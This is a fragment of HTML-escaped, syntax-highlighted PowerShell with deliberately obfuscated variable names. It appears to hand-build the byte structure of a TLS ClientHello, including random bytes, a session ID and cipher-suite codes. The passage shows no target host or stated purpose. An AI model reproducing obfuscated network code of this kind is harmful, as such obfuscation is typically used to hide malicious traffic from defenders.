                          &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;72&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xd&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;36&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;58&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xd&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xae&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xea&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xdf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;91&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;38&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;38&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;51&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xa&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;75&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;65&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xd&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xd&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xcd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;62&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;54&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
           &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB88BB8BB88BB88B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BB88BBBB8B88B8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB88B8BB88B88B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8B88888888B8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BitConverter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UInt16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB88BB8BB88BB88B&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
         &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8B88888888B8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
     &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8888BBB888B8888&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;05&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;06&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;07&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;09&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                        &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
               &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                        &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
               &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;19&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                   &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xea&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xeb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xee&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xfa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                     &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xfb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xfc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xfe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span 